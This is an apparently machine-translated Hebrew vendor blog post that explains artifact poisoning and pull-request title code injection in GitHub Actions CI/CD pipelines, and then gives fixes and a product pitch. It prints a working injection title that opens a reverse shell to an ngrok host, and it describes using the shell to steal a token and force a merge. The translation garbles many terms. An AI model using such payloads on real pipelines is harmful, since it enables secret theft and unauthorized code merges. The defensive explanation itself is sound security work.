CICD-Pipelines

צלילה עמוקה לתוך CI/CD Pipelineפגיעויות (III): הרעלת חפצים והחדרת קוד

בפוסטים קודמים (ראה הרעלה עקיפה Pipeline ביצוע I-PPE ו מורעלים Pipeline ציוד מגן אישי להוצאה לפועל , עסקנו בעיקר בציוד מגן אישי (הרעלה) Pipeline הוצאה להורג): ראינו כיצד זה עובד, את השפעותיו, חלק מהניצול וכן כמה דרכים להתגונן מפניו. 

פוסט זה צולל לעומק לתוך דברים אחרים CI/CD pipeline פגיעויות כגון הרעלת חפצים והזרקת קוד. 

כדי לעשות זאת, נבסס זאת איכשהו על ציוד מגן אישי, אז בואו נעשה סיכום קצר של מה שראינו לגבי ציוד מגן אישי.

עבודה קודמת על ציוד מגן אישי

לסיכום, התחלנו עם GitHub בסיסי pipeline לבנות ולבדוק קוד שנתרם באמצעות pull requestחוץ מזה, הוא מגדיר כמה בדיקות שאם יעמדו בהן, ימזגו את הקוד לתוך הענף המרכזי. קראנו לזה כ תרחיש מס' 1.

CI/CD-Pipelines

בפוסט הקודם שלנו הדגמנו כיצד הבסיס הזה pipeline היה פגיע הן ל-D-PPE והן ל-I-PPE.

הצלחנו ל תקן D-PPE by שינוי אירוע הטריגר החל מ- בקשת_משיכה ל יעד_בקשה_משיכה, מה שהופך את pipeline בטוח לשימוש ב-D-PPE. כתזכורת, pipelines המופעל על ידי אירוע pull_request_target יבצע את הבסיס pipeline קוד, לא ה pipeline קוד הכלול ב- pull request. 

קראנו לזה כ תרחיש מס' 2.

CI/CD-Pipelines-פגיעויות-תרחיש-2

כתוצאה משינוי זה, הוכחנו כי תרחיש מס' 2 היה עדיין פגיע ל-I-PPE. 

כדי לתקן את זה, החלטנו לפצל את pipeline לשניים:

  • 1st pipeline (בניית CI) היה בדוק את קוד ה-PR (כדי לבנות אותו), ליצור את הבנייה וליצור חפץ.
  • 2nd pipeline (בדיקת CI) היה בדוק את קוד הבסיס (כדי להימנע משינוי בסקריפט המעטפת) ולהפעיל את הסקריפטים המקוריים כנגד החפץ. 
  • כדי לסנכרן את CI הבדיקה pipeline לרוץ אחרי Build CI pipeline, נשתמש ב- workflow_run הדק. 

קראנו לזה כ תרחיש מס' 3.

CI/CD-Pipelines-פגיעויות-תרחיש-3

בואו נשחזר את הקוד של שניהם pipelineבהתאם לשינויים אלה...

1st pipeline (בניית CI):

				
					name: Build CI


on:
  pull_request_target:
    branches: [ main ]


env:
  MY_SECRET: ${{ secrets.MY_SECRET }}
  GITHUB_PAT: ${{ secrets.GH_PAT }}
 
jobs:
               
  prt_build_and_upload:
    runs-on: ubuntu-latest
    steps:
      - name: Checking out PR code
        uses: actions/checkout@v4
        if: ${{ github.event_name == 'pull_request_target' }}
        with:
          # This is to get the PR code instead of the repo code
          ref: ${{ github.event.pull_request.head.sha }}


      - name: Building ...
        run: |
          mkdir ./bin
          touch ./bin/mybin.exe
	    # Save some PR info for later use by the 2nd pipeline
          echo "${{github.event.pull_request.title}}" > ./bin/PR_TITLE.txt
          echo "${{github.event.number}}" > ./bin/PR_ID.txt
 
	# Upload the binary as a pipeline artifact
      - name: Archive building artifacts
        uses: actions/upload-artifact@v3
        with:
          name: archive-bin
          path: |
            bin

				
			

2nd pipeline (CI בדיקה):

				
					name: Test CI


on:
  workflow_run:
    workflows: [ 'Build CI' ]
    types: [completed]
   
env:
  MY_SECRET: ${{ secrets.MY_SECRET }}
  GITHUB_PAT: ${{ secrets.GH_PAT }}




jobs:
  deploy:
    runs-on: ubuntu-latest
    if: ${{ github.event.workflow_run.conclusion == 'success' }}
    steps:
 


      # By default, checks out base code (not PR code)
      - name: Checkout repository
        uses: actions/checkout@v4


	# Download the artifact
      - name: 'Download artifact'
        uses: actions/github-script@v6
        with:
          script: |
            let allArtifacts = await github.rest.actions.listWorkflowRunArtifacts({
               owner: context.repo.owner,
               repo: context.repo.repo,
               run_id: context.payload.workflow_run.id,
            });
            let matchArtifact = allArtifacts.data.artifacts.filter((artifact) => {
              return artifact.name == "archive-bin"
            })[0];
            let download = await github.rest.actions.downloadArtifact({
               owner: context.repo.owner,
               repo: context.repo.repo,
               artifact_id: matchArtifact.id,
               archive_format: 'zip',
            });
            let fs = require('fs');
            fs.writeFileSync(`${process.env.GITHUB_WORKSPACE}/myartifact.zip`, Buffer.from(download.data));


	# Unzip the artifact
      - name: 'Unzip artifact'
        run: |
          unzip -o myartifact.zip


      # Runs tests
      - name: Running tests ...
        id : run_tests
        run: |
          echo Running tests..
          chmod +x runtests.sh
          ./runtests.sh
          echo Tests executed.


#
      # For demo purposes, the check merge condition will always be set to FALSE (avoiding to merge)
      #
- name: pr_check_conditions_to_merge
        id: check_pr
        run: |
          echo "check_conditions_to_merge"
          PR_ID=$(<PR_ID.txt)
          PR_TITLE=$(<PR_TITLE.txt)
          echo "Checking conditions to merge PR with id $PR_ID and Title $PR_TITLE"
          echo "merge=false" >> $GITHUB_OUTPUT
     
      - name: pr_merge_pr_false
        if: steps.check_pr.outputs.merge == 'false'
        run: |
          echo "The merge check was ${{ steps.check_pr.outputs.merge }}"
          echo "Merge conditions NOT MEET!!!"




      - name: pr_merge_pr_true
        if: steps.check_pr.outputs.merge == 'true' && steps.run_tests.outputs.run_tests == 'OK'
        run: |
          echo "The merge check was ${{ steps.check_pr.outputs.merge }}"
          echo "Merge conditions successfully MEET!!!"
          echo "Merging .."
          PR_ID=$(<PR_ID.txt)
          curl -L \
                  -X PUT \
                  -H "Accept: application/vnd.github+json" \
                  -H "Authorization: Bearer $GITHUB_PAT" \
                  -H "X-GitHub-Api-Version: 2022-11-28" \ 
https://api.github.com/repos/lgvorg1/"${{github.event.repository.name}}"/pulls/"$PR_ID"/merge \
                  -d '{"commit_title":"Commit hacker","commit_message":"Hacked and merged"}'
       





				
			

הרעלת חפצים

לפי האמור לעיל CI/CD pipelines:

  • pipeline בניית CI is בטוח לשניהם ציוד מגן אישי (D-PPE) (עקב יעד_בקשה_משיכה) ו ציוד מגן אישי (כי הוא כבר לא מבצע את סקריפט המעטפת).
  • pipeline בדיקת CI גם בטוח לשניהם ציוד מגן אישי (D-PPE) (עקב workflow_run) ו ציוד מגן אישי (כי זה בודק את קוד הבסיס כדי לקבל את סקריפט המעטפת המקורי) 

בואו נצלול לעומק לתוך ה"פתרון" הזה.

Pipeline בדיקת CI מוריד את החפץ כקובץ zip.

				
					# Unzip the artifact
      - name: 'Unzip artifact'
        run: |
          unzip -o myartifact.zip


      # Runs tests
      - name: Running tests ...
        id : run_tests
        run: |
          echo Running tests..
          chmod +x runtests.sh
          ./runtests.sh
          echo Tests executed.

				
			

לאחר הפתיחה, הוא מבצע את סקריפט המעטפת "safe". למה אני אומר את סקריפט המעטפת "safe"? מכיוון שבשלב הקודם, ה- pipeline בודק את קוד ה"בסיס", כך שהסקריפט המקורי ממוקם בתיקיית סביבת העבודה. לכן, כאשר ה- pipeline מבצע את סקריפט המעטפת שהוא יפעיל באמצעות הקובץ הבינארי שהורד קודם לכן.

ואז, מה זה בְּעָיָה עם גישה זו? הבעיה מתעוררת כאשר משתמש כלשהו "יוצר" חדש pipeline. 

אם משתמש פותח הודעה פרטית המכילה הודעה חדשה pipeline, גיטהאב יבצע את זה pipeline  (בהינתן תנאים מסוימים, כפי שראינו בקודם) פוסט).

בהתחשב בזה, מה אם המשתמש יוצר חדש pipeline עם אותו שם כמו Build CI? כן, זה מפתיע, אבל GitHub מאפשר לך ליצור שניים pipelineעם אותו שם!!

זכור ש-Test CI יבוצע לאחר בניית CI...

				
					name: Test CI


on:
  workflow_run:
    workflows: [ 'Build CI' ]
    types: [completed]
				
			

באופן מפתיע, מכיוון שעכשיו יש שניים pipelineעם אותו שם, ה- pipeline CI של הבדיקה יבוצע פעמייםאחד אחרי המקור pipeline ואחרים אחרי ה"חדש" pipeline.

איך ההאקר יכול לנצל את זה? 

  • ראשית, המשתמש הזדוני יכול לשנות את סקריפט המעטפת כדי לשלוח את הסוד לשרת הנשלט על ידי ההאקר.
  • שנית, החדש pipeline כולל שורה להעתקת סקריפט המעטפת שהשתנה לתוך הארטיפקט → הרעלת הארטיפהסי טי!!!

כאשר המשתמש פותח הודעה פרטית עם שינויים אלה, ה"חדש" pipeline יבוצע (העלאת חפץ מורעל) ו-Deploy CI pipeline יבוצע לאחר מכן, וכתוצאה מכך סקריפט המעטפת "המשתנה" דורס את סקריפט המעטפת "המקורי" שנמצא ב- pipeline מרחב עבודה.

CI/CD-Pipelineפגיעויות s

זה מה שאנחנו קוראים הרעלת חפציםכלומר ה היכולת לשנות (לפרוץ) את pipeline לוגיקה באמצעות שינוי של pipeline חפץ. 

אחת אפשרית תיקון זה די פשוט: פשוט פתיחת הדחיסה של הארטיפקט לתיקיית משנה של סביבת העבודה תמנע החלפת סקריפט המעטפת "הבסיסי".. 

הזרקת קוד

מלבד הרעלת חפצים, האם אתה יכול לראות פגיעות נוספת בקוד הנ"ל?

בוא נלך!!

כפי שניתן לראות בקוד, pipeline Build CI בונה את הקובץ הבינארי, הוא מעלה את הקובץ הבינארי כקובץ pipeline ארטיפקט, וחוץ מזה, הוא מעלה כמה נתונים נוספים: כותרת ה-PR ומזהה ה-PR.

				
					          echo "${{github.event.pull_request.title}}" > ./bin/PR_TITLE.txt
          echo "${{github.event.number}}" > ./bin/PR_ID.txt
				
			

למה? כי כדי למזג את ה-PR, כפי שניתן לראות למטה, CI הבדיקה pipeline צריך את מזהה ה-PR כדי להפעיל את ממשק ה-REST API של GitHub שממזג את ה-PR. 

כיצד פועל CI הבדיקה pipeline להשיג את מזהה ה-PR הזה? שיתוף מידע בקבצי טקסט (חלק מ-) pipeline חפץ) היא דרך נפוצה לשתף מידע בין pipelineוזה בדיוק מה שאלו pipelineעושים.

				
					  echo "Merging .."
          PR_ID=$(<PR_ID.txt)
          curl -L \
                  -X PUT \
                  -H "Accept: application/vnd.github+json" \
                  -H "Authorization: Bearer $GITHUB_PAT" \
                  -H "X-GitHub-Api-Version: 2022-11-28" \
                  https://api.github.com/repos/lgvorg1/"${{github.event.repository.name}}"/pulls/"$PR_ID"/merge \
                  -d '{"commit_title":"Commit hacker","commit_message":"Hacked and merged"}'

				
			

באופן דיוק, רק מזהה ה-PR נדרש כדי למזג את ה-PR, אבל ה- pipeline המנהל החליט ש-Build CI יכלול גם את כותרת ה-Press, כך ש-Test CI יכלול pipeline ידפיס הודעת מידע המכילה גם את מזהה ה-PR וגם את התואר.

				
					name: Build CI
      - name: Building ...
        run: |
          mkdir ./bin
          touch ./bin/mybin.exe
	    # Save some PR info for later use by the 2nd pipeline
          echo "${{github.event.pull_request.title}}" > ./bin/PR_TITLE.txt
          echo "${{github.event.number}}" > ./bin/PR_ID.txt


				
			
				
					name: Test CI
[...]
          PR_ID=$(<PR_ID.txt)
          PR_TITLE=$(<PR_TITLE.txt)
          echo "Checking conditions to merge PR with id $PR_ID and Title $PR_TITLE"

				
			

כותרת יחסי הציבור היא תמיד נתונים המגיעים מהמשתמש, ולכן יש להתייחס אליהם כלא אמינים.. אז ה pipeline חייבים לטפל ככאלה ולנקוט באמצעי הגנה.

בקוד שלמעלה, אנו יכולים לראות את ההודעה הספציפית המהדהדת את כותרת ה-PR. זוהי פשוט פקודת "echo" של לינוקס.

באמצעות אינטרפולציה של מחרוזות, אם הכותרת היא "כותרת דמה", גיטהאב מייצר באופן פנימי סקריפט המכיל

				
					echo ""a dummy title""
				
			

אבל, מה אם כותרת יחסי הציבור תהיה משהו כזה:

כותרת זדונית" && bash -i >& /dev/tcp/5.tcp.eu.ngrok.io/10178 0>&1 && echo "

התסריט יהפוך ל:

				
					echo "Malicious title" && bash -i >& /dev/tcp/5.tcp.eu.ngrok.io/10178 0>&1 && echo ""

				
			

וכתוצאה מכך פתיחת מעטפת הפוכה כנגד השרת הנשלט על ידי ההאקר.

CI/CD-Pipelines

ייתכן שקליפה הפוכה זו תשמש לגישה אל pipeline סודות (זכרו ש-Test CI פועל במצב הרשאות מכיוון שהוא מופעל על ידי workflow_run ולכן יש לו גישה לסודות).

אבל, מה עוד אפשר לעשות דרך הקליפה ההפוכה הזו? 

התבונן בקוד בדיקת ה-CI:

				
					env:
  GITHUB_PAT: ${{ secrets.GH_PAT }}


[...]
          echo "Merging .."
          PR_ID=$(<PR_ID.txt)
          curl -L \
                  -X PUT \
                  -H "Accept: application/vnd.github+json" \
                  -H "Authorization: Bearer $GITHUB_PAT" \
                  -H "X-GitHub-Api-Version: 2022-11-28" \
                  https://api.github.com/repos/lgvorg1/"${{github.event.repository.name}}"/pulls/"$PR_ID"/merge \
                  -d '{"commit_title":"Commit hacker","commit_message":"Hacked and merged"}'


				
			

כפי שניתן לראות ב-Test CI pipeline, פקודת curl merge משתמשת ב-GITHUB_PAT (מוגדר כ- pipeline (env var), כך שהרץ מכיל את GITHUB_PAT כמשתנה סביבה. יתר על כן, הוא גם יוצר env var שקורא את מזהה ה-PR. 

אז ההאקר רק צריך להעתיק את פקודת ה-curl ולהדביק אותה לתוך ה-reverse shell, ולמזג את ה-PR ישירות לתוך הענף המוגן.

הזרקת קוד

כדי להגן על כל זה:

  • ל לְהִמָנַע אינטרפולציה של מחרוזות עם נתונים לא מהימנים (פגיע ל הזרקת קוד) על ידי הגדרה pipeline משתני סביבה במקום להשתמש בו ישירות בפקודות הד

במקום להשתמש ב:

				
					name: Build CI
      - name: Building ...
        run: |
          mkdir ./bin
          touch ./bin/mybin.exe
	    # Save some PR info for later use by the 2nd pipeline
          echo "${{github.event.pull_request.title}}" > ./bin/PR_TITLE.txt
          echo "${{github.event.number}}" > ./bin/PR_ID.txt
				
			

השתמש בזה:

				
					  - name: Building ...
        run: |
          mkdir ./bin
          touch ./bin/mybin.exe
	    # Save some PR info for later use by the 2nd pipeline
          echo "$PR_TITLE" > ./bin/PR_TITLE.txt
          echo "${{github.event.number}}" > ./bin/PR_ID.txt
        env:
          PR_TITLE: ${{github.event.pull_request.title}}

				
			
  • אפילו עם ניצול קוד להזרקת קוד, פקודת curl merge לא הייתה מצליחה אם היית עושה זאת כראוי הגן על שלך pull requests באמצעות בדיקה או אישור חובה כלשהם. 

מסקנות

קשה איכשהו להגן על זה CI/CD pipelineתצורת s וקבל pipelineנקי מפגיעויות.

זה לא אומר את זה CI/CD מערכות (כמו GitHub במקרה זה) פגיעות כשלעצמן. CI/CD מערכות מספקות את האמצעים להגנה מפני פגיעויות... אך באחריות המנהל ליישם את ההגנות הללו.

אבל… אי אפשר לפתור נקודת תורפה אלא אם כן מודעים לקיומה!!!

כמובן שמנהל devops מיומן מאוד עשוי לקחת בחשבון את כל האיומים הללו ולהגן כראוי עליהם. CI/CD pipelineים, אבל, למרות זאת, יש ערך רב להשתמש במוצר כדי לזהות את כל סוגי הפגיעויות הללו. וכמובן כדי להפוך את תהליך עצירת הפגיעויות הזה לאוטומטי (לדוגמה, הפעלת הסריקה כחלק מ CI/CD pipelineים).

גישה זו עשויה להיקרא "שער ביטחון" 

  • ליצור חדש pipeline (שער אבטחה) כדי לבדוק CI/CD pipelineפגיעויות ולהפוך את ה-CI האחר pipelineלביצוע רק לאחר השלמה מוצלחת של שער האבטחה pipeline.
  • שער הביטחון pipelineיבדוק אם CI/CD pipelineפגיעויות ו, 
    • אם יימצאו פגיעויות, היא תיכשל, ולכן, השנייה pipelines לא יבוצע. 
    • אם לא נמצאו פגיעות, ה- pipeline יצליח והשני pipelines יבצע כרגיל.
CI/CD-בִּטָחוֹן

מורעלים Pipeline ביצוע (ציוד מגן אישי)

צלילה עמוקה לתוך CI/CD Pipelineנקודות תורפה (I)

הרעלה עקיפה Pipeline הוצאה לפועל (I-PPE)

צלילה עמוקה לתוך CI/CD Pipelineפגיעויות (II)

הגנה מפני הרעלת חפצים באמצעות אישורי תוכנה

צלילה עמוקה לתוך CI/CD Pipelineפגיעויות (IV)
כלי SCA לניתוח קומפוזיציה - תוכנה
תעדוף, תיקון ואבטחת סיכוני התוכנה שלך
קבל את החשבון החינמי שלך.
אין צורך בכרטיס אשראי.

אבטחו את פיתוח ואספקת התוכנה שלכם

עם חבילת המוצרים Xygeni